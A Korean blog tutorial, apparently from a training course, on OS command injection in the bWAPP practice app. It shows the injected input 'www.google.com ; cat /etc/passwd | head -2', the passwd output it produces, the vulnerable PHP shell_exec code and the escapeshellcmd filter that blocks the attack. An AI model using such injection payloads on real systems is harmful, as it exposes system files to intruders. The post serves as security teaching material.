정보보안(구버전)/ bWAPP 2019. 1. 24. 16:42
웹 해킹 bWAPP - 07. A1 - Injection - OS Command Injection
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Injection
- OWASP Top10 A1 - 악의적인 명령 삽입
- 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를
획득할 수 있는 취약점이다.
- Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션
2. 'nslookup' 명령어
- DNS 정보 수집 명령어
bee@bee-box:~$ nslookup www.google.com
Server: 168.126.63.1
Address: 168.126.63.1#53
Non-authoritative answer:
Name: www.google.com
Address: 216.58.197.196
3. 메타케릭터
- Shell이 특별한 의미로 해석하는 문자, 기호를 의미한다.
| |
파이프라인 |
앞에서 실행한 명령어 출력 결과를 뒤에서 실행하는 명령어 입력값으로 처리함 |
; |
세미콜론 |
한개의 라인에 여러개 명령어를 수행해줌 |
&& |
더블 엠퍼센트 |
첫 번째 명령어가 성공되면 다음 명령어를 수행함(단, 실패시 다음 명령어 수행 X) |
|| |
더블 버티컬바 |
첫 번째 명령어가 실패해도 다음 명령어를 수행함(단, 성공시 다음 명령어 수행 X) |
bee@bee-box:~$ cat /etc/passwd | head -2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bee@bee-box:~$ nslookup www.google.com ; cat /etc/passwd | head -2
Server: 168.126.63.1
Address: 168.126.63.1#53
Non-authoritative answer:
Name: www.google.com
Address: 108.177.125.147
Name: www.google.com
Address: 108.177.125.106
Name: www.google.com
Address: 108.177.125.105
Name: www.google.com
Address: 108.177.125.104
Name: www.google.com
Address: 108.177.125.103
Name: www.google.com
Address: 108.177.125.99
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
4. Injection - OS Command Injection
- 이 시나리오는 취약한 시스템 함수에 명령어를 삽입하여 시스템/서버 파일/디렉토리를 접근하는 내용이다.
- 메타케릭터(;, |, &&, ||)를 이용하여 실시함
Ex1) Injection - OS Command Injection 이해
보안 레벨 및 시나리오 선택
'www.google.com' 입력 -> 'Lookup' 버튼 클릭 -> nslookup 결과 확인
'www.google.com ; cat /etc/passwd | head -2' 입력 -> 'Lookup' 버튼 클릭 -> nslookup 및 passwd 파일 내용 확인
Ex2) 'vi commandi.php' 파일 내용 확인
bee@bee-box:/var/www/bWAPP$ ls -l commandi.php
-rw-rw-r-- 1 root www-data 5584 2014-11-02 23:52 commandi.php
bee@bee-box:/var/www/bWAPP$ vi commandi.php
~ 중간 생략 ~
include("functions_external.php");
function commandi($data) switch($_COOKIE["security_level"]) case "0" :
$data = no_check($data);
case "1" :
$data = commandi_check_1($data);
case "2" :
$data = commandi_check_2($data);
default :
$data = no_check($data);
} return $data; } ~ 중간 생략 ~
$target = $_POST["target"]; if($target == "") echo "<font color=\"red\">Enter a domain name...</font>"; } else echo "<p align=\"left\">" . shell_exec("nslookup " . commandi($target)) . "</p>"; } }
:q! |
bee@bee-box:/var/www/bWAPP$ gedit functions_external.php
~ 중간 생략 ~
} {
$input = str_replace("&", "", $data); $input = str_replace(";", "", $input);
return $input;
}
function commandi_check_2($data) {
return escapeshellcmd($data);
}
function commandi_check_3($data) {
$input = str_replace("&", "", $data); $input = str_replace(";", "", $input); $input = str_replace("|", "", $input);
return $input;
} |
[참고] 'escapeshellcmd'
- 인자로 받은 명령어가 실행되었을 때, 의도하지 않았던 쉘 명령어가 실행되는 것을 방지
- Ex) 메타케릭터에 역슬레시(\)를 붙여 명령어를 실행하지 못하게 함
- 참고 사이트 : http://php.net/manual/kr/function.escapeshellcmd.php
Ex3) 보안 레벨 'High' 변경
보안 레벨 및 시나리오 선택
'www.google.com ; cat /etc/passwd | head -2' 입력 -> 'Lookup' 버튼 클릭 -> 취약점 발생 X
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 07. bWAPP Injection - OS Command Injection https://youtu.be/gyw_jQckUbc
'정보보안(구버전) > bWAPP' 카테고리의 다른 글
웹 해킹 bWAPP - 10. A1 - Injection - SQL Injection(GET/Search) (0) | 2019.01.27 |
---|---|
웹 해킹 bWAPP - 09. A1 - Injection - Server-Side Included(SSI) Injection (0) | 2019.01.26 |
웹 해킹 bWAPP - 06. A1 - Injection - iframe Injection (0) | 2019.01.24 |
웹 해킹 bWAPP - 05. A1 - Injection - HTML Injection - Stored(Blog) (0) | 2019.01.24 |
웹 해킹 bWAPP - 04. A1 - Injection - HTML Injection - Reflected(Current URL) (0) | 2019.01.24 |